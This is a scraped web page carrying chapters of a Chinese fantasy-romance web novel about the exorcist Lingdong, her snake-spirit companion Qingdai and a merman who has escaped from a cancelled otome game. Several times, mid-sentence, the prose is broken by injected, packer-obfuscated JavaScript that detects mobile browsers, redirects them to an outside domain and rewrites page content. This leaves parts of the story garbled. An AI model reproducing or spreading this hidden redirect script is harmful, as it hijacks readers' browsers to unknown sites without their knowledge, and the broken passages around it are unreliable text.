安晶和青竹两个人看了都觉得没有问题,签名,以血当墨按指画押。 处理完他们之间的事情,凛冬想起来自己忘记了什么重要的事情:“白起呢?” 青黛不解:“谁?” “花轿里的人。” “随我来吧。” 青黛领着凛冬去找白起。 离两人远了之后,凛冬才开口:“其实你早就知道,为什么不说?” “泄露天机是要遭雷劈的,大师,你不怕我还要怕呢。” “我看你也不怕。” “我只有这一个弟弟,为了他,被雷劈我都愿意。”来到花轿停放的蛇窟,青黛停住脚步,“大师,你要的人就在里面,请进吧。” 凛冬进入蛇窟,掀开轿子那一瞬间被白起泼了一身雄黄酒,略显狼狈。 “凛冬,怎么是你,你没事吧。”白起拿起红盖头给凛冬擦脸上的酒水,凛冬冷着一张脸夺过盖头自己擦拭。 青黛看见这一幕,拍手嘲笑,笑完看到眉清目秀的白起,啧啧两声:“大师,你送来的小帅哥成亲了吗?考不考虑和我在一起,我可以许你长生哦。” 不等凛冬开口,白起就抢先拒绝:“我已经有喜欢的人了。” 说完,他将眼神投向凛冬,对方已经开始擦身上的酒水,似乎是不喜欢雄黄酒的味道,她全程皱着眉。 察觉到的青黛笑弯了眼:“可惜了,走吧两位,我送你们离开。” 知道凛冬并不是真的来除掉自己的后,青黛一改之前的态度。 她送两人出了蛇窟,分别时,凛冬想起和妇人的承诺:“晚点记得让他们两人回去看看。” 青黛自然理解凛冬说的回去是指哪里,笑着摆手:“知道了大师,有空常来玩儿哦。” 因为白起这一身不好见人,两人绕了个路,路上白起缠着凛冬问事情经过,凛冬就简单说了一下。 疑惑宝宝白起又上线:“那她生完孩子,下一世是不是就解脱了。” “人和蛇生不出孩子。” “生不出吗?”白起回想起自己之前看的那些神话剧,“那你为什么不提醒她?” “你怎么知道安晶她不明白其中的利弊呢?再说,我给过她一次机会,这条路是她自己要选的。” 凛冬说完,忽然间地动山摇,白起差点没站稳,还是靠凛冬扶着才没摔趴下。 “你在这儿等着,我去看看发生什么事情了。” 离开白起这个拖累,凛冬速度加快,赶往地震的源头。 山不知道什么时候被炸出了一个坑,荡起的烟尘还没有散去,一旁的树木也全都遭了殃,身上附着火。 凛冬以符引水先将火全部灭掉,又围观起天上的战斗。 一个看起来颇有道行,道士模样的人正在和青黛缠斗,可能是重伤还未痊愈,青黛略逊色对方一筹。 那道士抓住青黛脆弱时机,举起七星剑朝她七寸刺去,见青黛就要命丧黄泉,凛冬出手拦住那道士,将她救下。 青黛都准备好赴死了,见凛冬折返回来搭救自己,心中震撼与感动交加:“大师……” 道士被凛冬轻松拦下,便意识到自己这是碰上了高手,不敢轻举妄动。 “这位大师,不知道我的灵兽做错了什么,要你对她斩尽杀绝。” “她强抢人类为妻,不该杀吗?” “哦?” 凛冬拿出一张符,送到道士面前,在符消失的那一刻,安晶与青竹契约上的文字便出现在他面前。 “他们两人是天定姻缘,已立下契约禀示上天,道长要逆天而为,棒打鸳鸯吗?” 一旁躲着的张知行跑了出来,看见安晶的签名,失魂一般跌落在地:“是晶晶的字迹。” 他自小抄袭安晶的作业,对安晶的字迹更是熟悉的不得了。 他忽然想起什么,又爬起来,盯着凛冬问“你就是阿姨请来的大师?” “是。”凛冬看向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“总算到了。”他喘了几口粗气,看着周围一片狼藉:“这里是怎么了?” “人妖大战。” “结束了吗?” “嗯。” 白起觉得可惜又遗憾:“又错过了……” 凛冬从身上掏出来一张符贴在他身上,“天色不早了,我们赶快回去吧。” 两人回到村长家后,道长和张知行也在,妇人左看右看没有看见自己闺女,眼开始泛红。 知道她想问什么,凛冬告诉她:“我和他们说好了,明天就会回来看您。” 得到凛冬的肯定,妇人语气哽咽:“好。” 都等了这么久,不差这最后一晚。 她洗手去做饭,特意给凛冬和那位道士做了一桌素菜,晚上吃饭的时候,张知行失恋了,拉着村长和白起就一阵猛喝。 白起喝了两杯,眼看张知行喝趴下了,自己也吃的差不多,转头观察起凛冬那边的情况。 一开始还不说话的两人,不知道什么时候开始聊起天,莫名的醋意上来,白起端着碗筷加入了凛冬这边。 凛冬看他一眼,给他换了一双新筷子。 道士显然是对他的加入不悦,不过还是继续说刚才的事情,他从身上摸出一份信:“方才我问你并未入道,如果想入道,可以拿着这封信来太清宫,报我法号慧阳即可。” “我有师门。” “那冒昧问一下,你的师门是……” 能教出这种本事不弱的门派,他真想见识一下。 “紫薇门。” 慧阳真人仔细在脑海里数了一番,愣是没找到这个派系。 “没关系,你留着,日后若是有需要,可以凭此物,只要不是过分的事情,我们尽力帮你。” 凛冬犹豫了三秒,拿起来那封信收好:“那就多谢了。” 吃完饭,凛冬早早洗漱完就上床睡去了,白起因为喝了些酒,睡得也沉。 这一晚上唯一没有睡好的,就是妇人和村长。 天一早,妇人去开门,就见门外站着两个比电视明星还要好看的人,他们身后正是她多日不见的宝贝闺女。 惊喜来得太突然,她一瞬间呆住,要不是安晶上前抱着她哭,她还以为是自己出现了幻觉。 “妈。” “诶,我的晶晶啊,你看这瘦的,肯定遭老罪了。” 妇人说着说着就哭了,她看也不看其他两人,拉着自己闺女就往屋子里走去,见村长呆愣住,轻轻踹了他两脚:“还愣着干啥,快去买点肉,再买条鱼,我给咱闺女好好补补。” “诶。” 村长马上就拿上手机出去买肉,留安晶母女俩人聊天。 安晶把这几天的经过和自己已经嫁给一条蛇的事情告诉了母亲,还让她不要担心,逢年过节就会回来看他们。 正说着,两人听见院子乱糟糟的,跑出来看。 “晶晶,你回来了。” 张知行一看见安晶,马上跑过来,看见安晶瘦的有些脱相,心疼又愤怒,冲着凛冬喊:“大师,这就是你说的天定姻缘吗?他能照顾好晶晶吗?” “不是的,阿竹他对我很好。”安晶说着,低下了头,不敢直视张知行的眼睛。 听见“阿竹”这个称呼,张知行如遭雷劈一样愣住。 他不敢相信:“晶晶,你一定是被蛊惑了才和那条蛇签订的契约对不对?” “没有,他从来没有蛊惑我。” 青竹上前将两人分开,眼看两人要打起来,青黛过来搅局:“小帅哥,安晶她不爱你了,你看看我怎么样,考不考虑和我在一起?” 她柔弱无依一般往张知行身上靠,张知行顿觉恶心,往后退了好几步。 见他退开,青黛也不再恶心他,跑去找凛冬,一个起跳就上了凛冬的身,对着她的脸使劲亲了一口:“主人~好久不见,真是想死奴家了。” 凛冬:“……” 白起:“你干什么呢?下去!” “就不。” 这一场闹剧一直到凛冬把青黛打回原型缠在手腕当装饰品结束,一群人进了屋子坐下吃茶。 村长回来后,青竹跪在地上给两位磕头,厚颜无耻在两人并未答应的时候喊了他们:“妈,爸。” 两人惧怕妖,是人的本质,但讨厌青竹,是出于对女儿的心疼。 纵然青竹笨拙的讨好两人,各种保证,也换不来妇人和村长的半点好态度。 不过他也不气馁,依旧讨好。 凛冬摸摸手上的蛇头:“心疼了?” “废话。” “心疼的有点早了,他们一辈子都会这样的。” “算了,阴差阳错之下,我弟的情劫也算结束了。” “和你弟说了吗?你跟我走的事情。” “还没说,我怕他不舍得。” “明天一早我们就走,你安排好时间。” “嗯。” 纵然不舍分离,在离开的时候,青黛还是从凛冬身上下来,和弟弟郑重告别。 在得知相依为命的姐姐要离开自己的时候,青竹确实舍不得,他死死拉着姐姐的手,看向一旁眼神冷漠疏离,靠在车上等待的凛冬。 “姐姐,你真的要跟她走吗?” “以后我不在,你要照顾好自己。” “那你还会回来吗?” “只要有机会,我就回来看你。” 青黛摸摸他的头:“既然已经成家,就不能再向以前一样对着姐姐撒娇了,我走了,照顾好自己。” 青竹的手一点点松开,却不忍心全部放开青黛。 青黛帮他松开手,给了他一个拥抱:“我们以后也可以用手机联系。” 听到还能保持联系,青竹不再那么难过:“好!” 青黛松开拥抱,来到凛冬面前。 “道完别了?” “嗯。” “上车吧。” 青黛拉开车门坐在后面,凛冬坐在副驾驶,她一个人独享后座,坐了一会儿躺下,闭着眼问了凛冬一个问题:“大师,你怎么不嫌我和弟弟道别磨蹭呀。” 凛冬看着窗外万里无云的蔚蓝天空。 良久才说:“和重要的人,一定要好好道别。” * 卷一《阴差阳错》完 7. 文昌贵人 小店开业第一天,很冷清。 许是骗子太多,又或许是还没打出什么名号,很少有人驻足进来算命。 青黛无聊的紧,毫无形象地躺在摇椅上:“冬冬,好无聊啊,今天咱们开业第一天,怎么不见白起过来帮忙,那家伙不是最爱黏着你吗?” 凛冬端起手里的茶杯轻抿一口:“他不来最好。” 白起最近有些过于不务正业,没事儿就跑来找她,有事儿更是得空就跑来找她,她被烦的不轻,给他找了点小麻烦,让他别过来。 “冬冬呀,你心里真的没有白起那小子吗?”青黛忽然从摇椅上起来,手中折扇收起,托起凛冬手中的茶杯,轻嗅茶香。 她觉得味道不错,一饮而尽,接着调侃起两人:“我看那小子满心满眼都是你呢。” 凛冬充耳不闻,续了一杯茶,继续品茗。 见她这幅模样,青黛摇了摇头,把玩起桌子上的打火机:“啧啧,我真是看错你了,还以为你是个重情重义的,没想到你修的是无情道,修无情道的人最冷漠了,薄情寡义。” 凛冬这才理会她:“你这是偏见。” 她虽然修无情道,但她并不觉得自己薄情寡义,这世间情感,她只是摒弃了爱情而已。 其它感情之中,她格外珍重亲情。 要不然她开这个堂口算命捉妖做什么?不就是为了早日将自己的万妖幡练好,回到过去拯救师门。 对与自己无关的事情和人保持冷漠态度,是一种很正常的事情。 “无趣。” 青黛撂下一句评价,去门外把开业的鞭炮点了,伴随着吵闹的声音,她又躺回摇椅上:“没有人最好,我也乐得清闲。” 她伸手从一旁放在桌子上的果盘中拿出来一个火龙果,刚掰开皮咬了一口,就有客人进店。 来者是一名女性,看起来也就将近三十,周身萦绕着一股淡淡的死气,与她一起进来的,还有一股海的味道,准确来说是鱼腥味。 青黛嗅觉灵敏,在这女人刚进店的时候就掩住了口鼻躲向后面去,女人注意到她的异样,好奇的看了一眼,不过也只是一眼,便收回视线坐在凛冬面前。 “你好,请问你要算些什么?” 凛冬观她面色惨白,像是被吸了精气一般,主动打招呼。 “大师我想算算姻缘,你看看我们结婚定在哪天合适?这是我和我男朋友的八字。” 女人像是有备而来一样,从口袋里掏出两张纸递给凛冬。 凛冬接过两张纸,粗略扫了一眼两张纸上的生辰八字,便铁口直断:“你是绝夫命,不利丈夫,不适合结婚,适合出家,如果执意要在一起,伤他又伤己,而且你现在不应该有男朋友。” “你胡说什么呢?”女人白了凛冬一眼,“我有男朋友,长得很帅,身体也很健康,我看你就是嫉妒我,才骗我出家吧,你这种骗子我见多了,还当大师呢,你配吗?” 女人夺了凛冬手中那两张纸,骂骂咧咧的走了。 她走后,隐于后堂的青黛捂着口鼻走上前来:“要么不开张,要么就是来个怪人,一股子鱼腥味儿,我看她刚从鱼堆里爬上来的吧。” 凛冬没接她话茬,将方才记住的两个八字写于纸上:“你前两天在看的那个漫画叫什么来着?” “《人鱼之恋》啊,怎么,大师,你也对人鱼感兴趣?” “你说人鱼身上的鱼腥味会很重吗?” “没见过,不知道,鲛人倒是见过,鱼腥味确实很重,它们是一个种族吗?”青黛戳着手机屏幕,“分享给你了,快来和我一起看吧,这漫画里的人鱼可帅了,金发碧眼的,说不定你看完就想破了无情道了。” “好。” 凛冬说看就看,只是她不如青黛那么专心,毕竟她无法将自己带入甜蜜的爱情之中。 每看完一话,她都要翻翻评论区,这个漫画很火,评论的人也特别多,她看的眼花缭乱。 忽然间,一道评论抓住她的眼球。 【不知道有没有人记得那个关服的乙女游戏啊,听说新男主就是一条人鱼呢,可惜了,还没上线呢,游戏就关服了。】 【叫跨越次元之恋是吧,我可是给那个游戏充了可多钱了,结果老板竟然跑路了{愤怒}{愤怒}{愤怒},正好漫画看完了,我要去重温一下。】 凛冬退出漫画软件,在搜索词条上输入“跨越次元之恋”,很快网页弹出来很多关于这个游戏的帖子,以及视频。 虽然游戏关服,但是保留了一些珍贵的影像。 凛冬点进去看了一些,不是自创的高能视频,就是一些甜蜜恋爱剧情,毕竟这是一款恋爱游戏。 看了十几个帖子后,凛冬大概明白了这个游戏是什么。 这个游戏讲述的是主人公,也就是主控,从人类世界穿越进异世界,攻略五个不同种族的男主,获得五个男主的祝福后,带领一个男主回家的故事。 只是具体剧情她看不到,因为主线还没有进行到那里,这游戏就关服了,男主也只出场了四个。 留着压轴出场的男主据官方爆料是一条人鱼,连立绘都放出来了,剧情还没出呢,就因为容貌收获了铁粉无数,游戏关服后更是引来无数同人太太肆意创作。 凛冬读了一半发现是同人文,退了出去,找到官方账号,仔细观摩官方发出的人鱼立绘。 波光粼粼的海岸上,一条成年雄性人鱼,正坐在岸边的礁石上,用细长白嫩的人类手指打理着如海藻一般稠密的银白色长发。 因为是刚从水中钻出来,他的发梢,胸前的锁骨肌肉,全都布满水痕,整条人鱼上半身具有人类明显的特征,下半身则是保留着一条鱼尾。 他的鱼尾本色如同他的发色一般银白,但在阳光的折射下,视觉中看到的却是闪着彩色光芒的尾巴。 一双如大海般蔚蓝的眼眸,和屏幕外的凛冬对上视线,他笑着眯起双眼,将隐忍的爱意埋藏在眼底。 凛冬正看得入迷呢,青黛忽然把脑袋凑过来:“哦~,冬冬你喜欢的是这种类型的男人啊。” “别胡说。” 凛冬反驳一句,退出视频搜索起这条人鱼的全部资料,网上不含虚构的资料并不多,她搜到的也只有那么几条。 在看到生日那一栏时,她就知道自己没有找错。 方才来店里的那个女人,拿的男方的八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965917|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 字,就是这条人鱼的生日。 手机上的视频还在播放,人鱼伸出手递上一颗珍珠,对着屏幕外的人许诺:“亲爱的异人小姐,不管未来发生什么,我会一直一直陪在你的身边。” 她没关声音,又引来青黛的调侃:“冬冬,人家也会一直一直陪在你的身边哦。” 凛冬退出视频,转移话题:“是不是该吃午饭了?” 青黛这才从嬉皮笑脸的状态中脱离出来:“哦对了,刚刚白起发消息说等下来接我们去素食餐厅吃。” 凛冬看着自己空无消息的聊天软件,刷新了好几次:“他怎么没给我发?” “怎么,你吃醋了?” “没有。” 她只是觉得,如果白起给她发消息的话,她一定会拒绝,给青黛发,青黛肯定会想看她吃瘪而答应。 白起这孩子一来,她就觉得自己的心乱乱的,不能好好安定下来。 “我看那小子是怕被你拒绝吧,毕竟回来这段时间,你都拒绝他多少次了。” 青黛一语道破真相。 凛冬没再说什么,只是去后面脱下之前找人定做的紫薇门道袍,换上这世界寻常女性会穿的衣服,一条很漂亮的过膝白裙。 青黛不由得多看了几眼:“太阳真是打西边出来了,大师你也会穿漂亮裙子啊。” “寻常女子都穿得,我为什么不能穿?”凛冬扯了扯腰间的蝴蝶结,“不过还是感觉有些不习惯。” “毕竟现在社会和几千年前不一样了,慢慢接受吧。” 青黛也是上千年的老蛇妖了,自然是见过社会的变迁的,只不过社会每一次变迁,她都或多或少参与其中,凛冬是突然就从千年前穿越到现在的,她们之间不一样。 见凛冬脖子上没有项链,青黛变出来一条项链就要给她戴上:“白起那小子都没有给你准备些首饰吗?就他那样子还想追妻呢?做白日梦去吧。” “我不怎么喜欢戴那些。”凛冬拒绝了她的好意,从抽屉里掏出来血珠子带上,有些突兀,但整体看着还算可以。 “这珠子……” “是个难得的宝物,护身的。” 原本这血珠子是她大师兄的爹娘留给他的遗物,自从大师兄被伯父伯母捡回家后,就一直随身携带。 一直到后来他们分开,大师兄为了证明自己会回来,把血珠子留给了她…… 她记得伯父曾说过:血珠子是大师兄的命。 那时她不懂,现在仔细想来,伯父话中的意思应该是:“珠在人在,珠离人亡。” 这血珠子不是什么法器,更像是保大师兄一命的护身符,虽然那会儿她年纪小,但还是能想起来,大师兄每次陪伯父出门办事儿,回来都要倒霉几天,属于喝凉水都能呛着那种。 想到向来严肃冷淡的大师兄吃瘪的模样,凛冬嘴角勾起。 沉思间,白起亲自开车过来了,青黛叫了凛冬一声,自己先一步坐上车,凛冬也不拖延,回神后走过去拉开后座车门上车。 还是青黛问了她一句:“你怎么不去副驾驶?” “想躺着。” 说着,凛冬躺倒在青黛的腿上,闭上眼小憩。 8.文昌贵人 一路上,车内都安安静静的,没有人说话。 到了目的地,不等青黛叫,凛冬自行坐起来打开车门下去,青黛拿上背包紧随其后:“你没睡觉啊。” “我不是说躺着吗?” 她就是单纯想躺一会儿,并不困。 “早知道你不睡,我就打开声音刷视频了。” 提起这个,凛冬想到自打回来买了手机后,这人就沉迷手机,作息都变得昼夜颠倒:“你不修行了,整天抱着个手机不是看小说就是看漫画,要么就是追剧刷视频。” 青黛头也不抬,大拇指有节律的向上滑动着手机屏幕:“不是有你吗?” 以前她兢兢业业,除了日常生活以外,不敢接触新鲜事物,唯恐耽误自己修行的进度。 毕竟懒惰,躺平还有摆烂都是修行的忌讳。 可现在不一样,她认了凛冬为主,她的实力随着凛冬的实力直线上涨,她根本不需要怎么努力,法力涨的就比之前努力修行的时候还要快。 那她还那么努力干什么?能多享受一次是一次,谁知道哪天凛冬就带着她回古代去了。 凛冬:“……” 她夺了青黛的手机,握在手里往前走去。 “我刚看到关键时刻,俩人都要亲上了!你把手机还我,我就再看最后一话!” 这种饭菜就在眼前却死活吃不到嘴里的感觉不好受,青黛动手去抢,但每一步都被凛冬精准预测躲开。 “冬冬,求你了,我的好冬冬,再给我看一话吧,最后一话。” 网络上瘾的青黛见来硬的不行,开始撒娇攻略。 凛冬不理会她的胡搅蛮缠,和白起一前一后上了电梯,好在电梯里就他们三个,青黛使出浑身解数利诱凛冬的模样没有外人看见。 青黛见手段用尽凛冬也不把手机还给自己,电梯又快到对应楼层,这才为了脸面歇下心思,从凛冬身上下来。 等电梯门一开,她率先跑出去,将两人甩在后面。 这里是白氏旗下的餐厅,走的高端产业链,白起带凛冬来吃过几次,只是她不怎么喜欢肉类食品,更无法接受这里的海鲜。 不吃肉的人,连闻到肉味都觉得不舒服。 尤其是这家餐馆多的是生鲜刺身一类的东西。 所以凛冬宁愿自己煮饭也不吃这里的饭菜。 白起发现后就将顶楼重新装修,弄了一个素食区,请来一些做素菜的厨师专门做素菜,供她一个人享用。 今天刚筹备好,他就带凛冬过来了,来之前还怕被凛冬拒绝,特意找青黛约的饭。 一进包厢,青黛就找了个离俩人最远的地方入座,挑挑拣拣,选了几个自己爱吃的素菜夹到碗里慢慢享用,顺便吃凛冬和白起的瓜。 白起等凛冬落座后,坐在她右手边,凛冬注意到,当下就喊青黛过来当挡箭牌:“你坐过来。” “我才不去。” “青黛。”凛冬语气严肃起来。 “来了我亲爱的主人。”青黛察觉到凛冬要发脾气,端着自己的饭菜挤到两人中间,把白起挤走:“小帅哥,你起开,这里是我的位置。” 白起不解:“左边不是也能坐吗?” “我就喜欢这个位置。”青黛无理取闹,白起也不敢跟她一条蛇争,站起来准备挪到凛冬左边,却发现凛冬把身上的血珠子摘下来,放在左边凳子上占位置。 他在商场察言观色多年,怎么不明白凛冬这是隐晦的拒绝,只好往左边又挪了一个位置。 凛冬不是第一次暗地里拒绝他,他早就知道,只是不死心。 在遇到凛冬前,他那颗名为爱情的心从来没有为异性动过。 凛冬不一样,真正直面她的那一刻,他感觉自己以往装出来的清冷形象破碎,失控又失神。 心中仿佛有一个声音告诉他,这是他要爱一辈子的女人。 他以为他们会像小说桥段那样,在相处中慢慢产生感情相爱。 但现实很残酷,这个女人眼中只有那颗血珠子,和那个跟缩小版锦旗一样,但是黑不拉几还画着鬼画符的万妖幡。 除此之外,再没有别的能让她在乎的东西。 哦,现在还多了一条蛇。 此时此刻,那条蛇正在投喂凛冬,还用哄孩子一般的口吻喊她:“冬冬宝贝,张嘴,啊——” 关键是,凛冬还真的吃了。 白起:“……” 他脑中突然冒出小师妹走之前说的那句话:“女人怎么不能喜欢女人,你个封建余孽。” 凛冬她……应该……不会是吧? 不会吧? “小帅哥,这里有烧鸡吗?” 青黛已经吃饱喝足,拿回了自己的手机,她打开外卖软件,准备点一些腥味。 “楼下有。” “那可以给我打包带一只吗?” “可以,等下回去的时候给你带。” 凛冬放下筷子,抽出一张餐巾纸擦嘴:“我吃完了。” 白起看着快到开会的时间,也放下筷子:“那我送你们回去。” 下楼的时候他们拐到楼下,打包了一只烧鸡。 等待的时候,凛冬和青黛又闻到那股鱼腥味,只是这次的鱼腥味,比女人身上更浓烈。 两人同时向味道传来的地方看去,男人正坐在餐桌前玩手机,耳朵上戴着蓝牙耳机,嘴不停张合,应该是在打电话。 “他的眼睛好奇怪。”青黛又捂住鼻子,“这里其他人都闻不到吗?” “应该是闻不到。” 那男人察觉到视线,转过头来,注意到青黛,他匆忙和对面说了几句,挂断了电话朝着青黛追过来,但可惜,青黛已经先他一步坐电梯下去了。 等上了电梯,青黛才开始八卦:“刚刚那个不会就是她说的长得很帅,身体也很健康的男朋友吧。” 凛冬摇摇头:“不知道。” “难搞哦。”青黛把手臂搭在凛冬肩膀上,“希望下午我们不会再遇上这样奇怪的客人。” “你们今天开业不顺利吗?需不需要我给你们介绍点客户?” 白起虽然不了解事情全部真相,但能猜出来她们上午开业并不顺利。 凛冬拒绝了他的好意:“不用。” 回到堂口,凛冬给自己接了一杯冷水,青黛丝毫不顾及她喜不喜欢肉味,拆开包装大快朵颐着烧鸡。 不多时,一整只鸡都被她吃完,她意犹未尽的将骨头堆到油纸中间,包起来扔进垃圾桶里,去后堂洗干净手上的油腻。 又从冰箱拿了两瓶饮料,分给凛冬一瓶:“多亏有白小帅哥,不然我们在这儿开店给人算命能饿死,更别说吃上这么美味的烧鸡。” “也不至于饿死吧,你那件事他们给了我不少钱。” 穷是肯定会比现在穷点,她有真本事,不至于会饿死。 “那谁知道,好不容易来个客人,没留住不说,还被莫名其妙骂了一顿,你开业的时候看老黄历没有,今天是不是不适合开业啊,下午可别真一个客人都没有。” “谁说没有客人的。”凛冬拖动着鼠标在电脑上点了几下,“这不来客人了。” 青黛凑过来看:“紫薇网?” 她用手机搜索了一下整个网址,点进去第一个,凛冬让白起帮忙做的网页弹了出来。 【紫薇网】 【擅长:捉妖,捉鬼,算命,看风水,超度,卜卦……】 【先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“雄黄味的。” 青黛:“……” “丹药我不能给你,雄黄酒我倒是可以给你买一箱,要么。” 说着,凛冬熟练打开网购软件,输入“雄黄酒”三个字。 青黛:“……” 凛冬见她沉默,不再逗她,从腰间摸出一个小葫芦放在桌子上:“美颜丹。” “谢谢主人,主人你最好了。”青黛瞬间喜笑颜开,手速很快将桌上的小葫芦揣进口袋,生怕慢了一步凛冬就反悔收回。 “别一下子吃太多。”凛冬提醒完,起身去后堂,“你看着这里,有人就叫我,我去眯一会儿。” “好嘞。” 领了奖金的员工工作就是卖力,之前还一直摆烂躺平的青黛这会儿来了力气,趁着凛冬睡觉,把堂口那些还没归置好的东西全都归置好。 一下午过去,太阳落山了都没有人来光顾。 青黛算着时间,发现凛冬睡了四个小时不止,觉得不对劲,去后堂查看。 凛冬刚巧醒来,看见外面变了天,有些恍惚:“太阳都落山了,我睡了多久?” “应该不止四个小时,你今天怎么睡这么久?” “做了个不太好的梦。”凛冬按了几下发疼的脑袋。 睡不好的下场就是越睡越困,她坐了一会儿才起来洗把脸,让自己清醒过来:“走吧,我们打车回去。” “好啊,晚上我要吃烧烤。” 9.文昌贵人 上午。 一早就有客人前来光顾,凛冬忙于算命看事儿,顾不上时间,便让青黛多留意。 九点还没到的时候,那股熟悉的鱼腥味从店外飘了进来,味道越来越浓烈。 青黛放下刚添上热水的茶壶,提醒凛冬:“好像有奇怪的人来了。” 凛冬也同样闻到了鱼腥味,她在纸上为客人写下明年的注意事项,叮嘱道:“回去后按照我说的去做,平常多做一些好事。” “好的,谢谢大师。” 客人拿着凛冬写好的纸出门,与戴着帽子口罩和墨镜的男人擦肩而过,下意识回头看上一眼。 男人忽视她朝里面走去,脚步有些急:“大师,我约了今天九点……” 他边说边摘下墨镜和口罩,露出一张帅气的脸庞,正是她们昨天吃完饭碰见的人。 男人也认出了她们:“两位大师,求你们帮帮我。” 凛冬拿来一个新的一次性纸杯,给他倒上常温的白开水:“不急,你坐下慢慢说,青黛,你去把门关上。” 青黛走过去把门关上,又去后堂拿了两个口罩过来,分给凛冬一个,男人也是渴了,一口气把水喝干净。 润完嗓子,他张口准备讲自己需要解决的事情,凛冬却打断并问他:“你认识一个叫张雯的女人吗?” “她来找过你们吗?” “找过,不仅找过,还给我们家大师骂了一顿呢。”青黛想到昨天张雯那一番话,就替凛冬窝气。 “张雯是我女朋友,她最近想结婚想疯了,如果她说了什么不好听的话,我替她向两位大师道歉,对不起……” “不说这个。”凛冬出声打断他的道歉,“你女朋友知道你是一条鱼吗?” “知道。” “那你快死了这件事,她知道吗?” “……不知道。” 凛冬把玩着脖子上戴着的血珠子:“你是想续命,还是让我帮你们结婚?” “都不是。” 男人用力叹口气,讲故事娓娓道来:“昨天最后我不是问大师,相信次元壁的存在以及次元壁可以被打破吗?其实,我不是这个世界的人。” “我叫海因,是一条来自乙女游戏的人鱼,张雯是我的恋人,也是创造我,将我带入这个世界的人……” * “牛马起床了,牛马起床了……” 循环播放又刺耳的闹铃声响了不下十遍,打工人张雯才不情不愿从被窝伸出手摸索放在床头柜的手机。 找到手机,她将闹铃关闭,迷瞪着睁开眼,看见同事发来好几个感叹号,用指纹解锁点进聊天框。 【雯姐,天塌了,老板连夜卷钱跑路了!】 【!!!】 【!!!!!】 几个感叹号就像是一盆冰水倒扣在她的脑袋上,张雯瞬间清醒,颤抖着手打出几个字:【你没开玩笑吧?】 【我和你开什么玩笑,今天可是海因上线的日子,我敢开这种玩笑吗,你快来公司搬东西吧,等会儿要贴封条了。】 张雯退出去点开日历,日程上写着今天是海因上线的日子。 为了海因这个角色顺利在今天上线,她和发消息的这个同事张彤分别带了几个组员,轮班测试bug。 她负责白天,张彤负责夜里。 大家都吃了不少苦,累的哪里会想开这种玩笑。 但张雯不敢相信,昨天上班还打过招呼的老板真的会卷钱连夜跑路。 她火急火燎换了衣服打车赶往公司,早饭都顾不上吃。 她到时,公司乱作一团,资料垃圾堆了一地,原本在门口工作的几个组员易经收拾了一半的东西准备跑路,见到她,抽空和她打招呼:“雯姐,你来了。” “张彤呢?” “彤姐应该在策划那边吵架呢。” “谢谢。”张雯来到策划部,准备进去的时候张彤刚好从里面出来。 看到她,张彤心中的火气降掉一半:“你总算来了。” “现在到底是什么情况?” “老板跑路了,夜里一点多的飞机,我去追了,没追上。” 张彤揉了揉她那一头发乱的棕黄色头发,脸上尽是熬夜和争吵过后的疲惫:“回办公室我再跟你细说吧。” 两人回到办公室,张彤边说边收拾自己桌子上的东西,张雯在她的解释中明白了公司目前的状况。 公司推出的游戏《跨越次元之恋》一经开服,当月收益就遥遥领先,甩了第二名一倍的数额,还获得了不少投资。 如此维持了一段时间后,老板不知道出于什么原因,在最后一位男主推出前卷了投资商的钱跑路了。 现在的情况就是,投资商要求终止合作,让公司退还投资并赔偿违约金,公司法人哪里拿得出那么多钱,直接放弃,被警察带走。 公司没有资金,作为员工他们更是一毛钱都拿不到,留着也没有用,不如趁早收拾东西找下一份工作。 张雯打开手机,游戏关服被冲上了热搜第一,各种跑路的字眼刺痛着她的眼睛。 “我们熬了几个通宵的心血啊。”张彤拿着那个存有新男主数据的U盘,心都在滴血,“现在全都作废了,压了我们三个月的工资也是没有着落了,你也赶快收拾东西走吧。” 说完,张彤将U盘扔到了垃圾桶中,外面搬东西的声音嘈杂,U盘落下的声音却单独在张雯耳边放大。 “走了雯姐。” 张彤搬上最后的东西,和张雯告别。 张雯呆呆的坐在自己的座位上:“再见。” 良久,她站起来,把U盘从垃圾桶捡起来,插入电脑。 看着屏幕出现熟悉的脸,她心如刀割。 从人设,到立绘,再到台词剧本,每一个板块都是她亲自参与的,她在其中灌注了不少心血和爱。 她比任何人都期待海因这个角色上线。 只是可惜…… 事情为什么会变成这样? “亲爱的异人小姐,不管未来发生什么,我会一直一直陪在你的身边。” 熟悉的声音从电脑音响传出来,张雯回神,看着散落一地关于海因的文件,蹲下身将它们一一捡起来,带回自己的出租小屋。 只有四十平米的出租屋中,张雯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974373|161235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将资料扔在地上,坐在从二手市场淘来的椅子上休息,等缓过来从口袋拿出U盘,打开电脑插入存有海因数据的U盘。 循环播放那句表白不知道多少遍后,张雯终于没忍住哭出声。 